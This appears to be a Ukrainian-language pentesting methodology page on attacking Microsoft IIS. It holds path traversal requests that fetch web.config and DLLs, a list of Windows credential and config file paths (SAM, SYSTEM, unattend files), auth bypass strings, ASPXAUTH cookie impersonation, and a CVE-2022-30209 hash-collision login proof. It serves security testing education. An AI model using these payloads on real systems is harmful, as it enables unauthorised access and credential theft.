# IIS - Internet Information Services
{{#include ../../banners/hacktricks-training.md}}
Тестуйте розширення виконуваних файлів:
- asp
- aspx
- config
- php
## Розкриття внутрішньої IP-адреси
На будь-якому сервері IIS, де ви отримуєте 302, ви можете спробувати видалити заголовок Host і використовувати HTTP/1.0, а в відповіді заголовок Location може вказувати на внутрішню IP-адресу:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Відповідь, що розкриває внутрішню IP:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Виконання .config файлів
Ви можете завантажувати .config файли та використовувати їх для виконання коду. Один зі способів зробити це - додати код в кінець файлу всередині HTML коментаря: [Завантажити приклад тут](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Більше інформації та технік для експлуатації цієї вразливості [тут](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Брутфорс виявлення IIS
Завантажте список, який я створив:
{{#file}}
iisfinal.txt
{{#endfile}}
Він був створений шляхом об'єднання вмісту наступних списків:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Використовуйте його без додавання будь-якого розширення, файли, яким це потрібно, вже мають його.
## Перехід по шляху
### Витік вихідного коду
Перевірте повний опис у: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "**assemblyIdentity**" файли та "**namespaces**". З цією інформацією можна дізнатися **де розташовані виконувані файли** та завантажити їх.\
> З **завантажених Dlls** також можна знайти **нові простори імен**, до яких слід спробувати отримати доступ і отримати файл web.config, щоб знайти нові простори імен та assemblyIdentity.\
> Також файли **connectionstrings.config** та **global.asax** можуть містити цікаву інформацію.
У **.Net MVC додатках** файл **web.config** відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма, через XML теги **"assemblyIdentity"**.
### **Дослідження бінарних файлів**
Приклад доступу до файлу **web.config** показано нижче:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Цей запит виявляє різні налаштування та залежності, такі як:
- **EntityFramework** версія
- **AppSettings** для веб-сторінок, валідації клієнтів та JavaScript
- **System.web** конфігурації для аутентифікації та виконання
- **System.webServer** налаштування модулів
- **Runtime** прив'язки збірок для численних бібліотек, таких як **Microsoft.Owin**, **Newtonsoft.Json** та **System.Web.Mvc**
Ці налаштування вказують на те, що певні файли, такі як **/bin/WebGrease.dll**, розташовані в папці /bin програми.
### **Файли кореневої директорії**
Файли, знайдені в кореневій директорії, такі як **/global.asax** та **/connectionstrings.config** (який містить чутливі паролі), є важливими для конфігурації та роботи програми.
### **Простори імен та Web.Config**
MVC програми також визначають додаткові **web.config файли** для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано на прикладі запиту на завантаження іншого **web.config**:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Завантаження DLL**
Згадка про власний простір імен вказує на наявність DLL з назвою "**WebApplication1**" у каталозі /bin. Після цього показано запит на завантаження **WebApplication1.dll**:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Це вказує на наявність інших важливих DLL, таких як **System.Web.Mvc.dll** та **System.Web.Optimization.dll**, у каталозі /bin.
У сценарії, коли DLL імпортує простір імен під назвою **WebApplication1.Areas.Minded**, зловмисник може припустити наявність інших файлів web.config у передбачуваних шляхах, таких як **/area-name/Views/**, що містять специфічні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до **/Minded/Views/web.config** може виявити конфігурації та простори імен, які вказують на наявність іншої DLL, **WebApplication1.AdditionalFeatures.dll**.
### Загальні файли
З [тут](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Error
Якщо ви бачите помилку, подібну до наступної:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Це означає, що сервер **не отримав правильне ім'я домену** в заголовку Host.\
Щоб отримати доступ до веб-сторінки, ви можете подивитися на виданий **SSL сертифікат**, і, можливо, ви знайдете ім'я домену/субдомену там. Якщо його там немає, вам, можливо, потрібно буде **брутфорсити VHosts**, поки не знайдете правильний.
## Старі вразливості IIS, на які варто звернути увагу
### Вразливість/функція символу тильди “\~” Microsoft IIS – Розкриття коротких імен файлів/папок
Ви можете спробувати **перерахувати папки та файли** всередині кожної виявленої папки (навіть якщо це вимагає базової аутентифікації), використовуючи цю **техніку**.\
Основне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що **вона може знайти лише перші 6 літер імені кожного файлу/папки та перші 3 літери розширення** файлів.
Ви можете використовувати [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) для перевірки на цю вразливість:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
.png>)
Оригінальне дослідження: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Ви також можете використовувати **metasploit**: `use scanner/http/iis_shortname_scanner`
Хороша ідея для **знаходження остаточного імені** виявлених файлів – це **запитати LLMs** про варіанти, як це зроблено в скрипті [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Обхід базової аутентифікації
**Обійти** базову аутентифікацію (**IIS 7.5**), намагаючись отримати доступ до: `/admin:$i30:$INDEX_ALLOCATION/admin.php` або `/admin::$INDEX_ALLOCATION/admin.php`
Ви можете спробувати **поєднати** цю **вразливість** з останньою, щоб знайти нові **папки** та **обійти** аутентифікацію.
## Включений режим налагодження ASP.NET Trace.AXD
ASP.NET включає режим налагодження, і його файл називається `trace.axd`.
Він зберігає дуже детальний журнал усіх запитів, зроблених до програми протягом певного часу.
Ця інформація включає IP-адреси віддалених клієнтів, ідентифікатори сесій, усі куки запитів і відповідей, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів і паролі.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)

## Кука ASPXAUTH
ASPXAUTH використовує таку інформацію:
- **`validationKey`** (рядок): ключ у шістнадцятковому кодуванні для використання для перевірки підпису.
- **`decryptionMethod`** (рядок): (за замовчуванням “AES”).
- **`decryptionIV`** (рядок): шістнадцятковий ініціалізаційний вектор (за замовчуванням вектор нулів).
- **`decryptionKey`** (рядок): шістнадцятковий ключ для використання для розшифрування.
Однак деякі люди використовують **значення за замовчуванням** цих параметрів і використовують як **куку електронну пошту користувача**. Тому, якщо ви можете знайти веб-сайт, що використовує **ту ж платформу**, яка використовує куку ASPXAUTH, і ви **створите користувача з електронною поштою користувача, якого ви хочете видати** на сервері під атакою, ви можете використовувати **куку з другого сервера на першому** і видати себе за користувача.\
Цей напад спрацював у цьому [**описі**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Обхід аутентифікації IIS з кешованими паролями (CVE-2022-30209)
[Повний звіт тут](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Помилка в коді **неправильно перевіряла пароль, наданий користувачем**, тому зловмисник, чий **хеш пароля потрапляє в ключ**, який вже є в **кеші**, зможе увійти як цей користувач.
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 200 OK
```
{{#include ../../banners/hacktricks-training.md}}